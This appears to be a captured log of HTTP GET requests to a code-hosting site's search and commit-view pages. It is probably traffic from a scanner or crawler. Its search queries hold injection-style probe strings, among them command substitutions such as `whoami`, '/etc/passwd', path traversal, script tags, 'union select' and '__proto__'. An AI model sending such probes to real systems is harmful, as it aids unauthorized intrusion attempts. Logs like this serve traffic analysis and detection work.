{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=feat%2Fdocker-support&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=ls%20-la&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sed%20-i&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60make%20check%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%60whoami%60&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=fetch%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%7BVAR%7D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24%28pwd%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=process.env&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cimg%20src%3D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
|
||||||
|
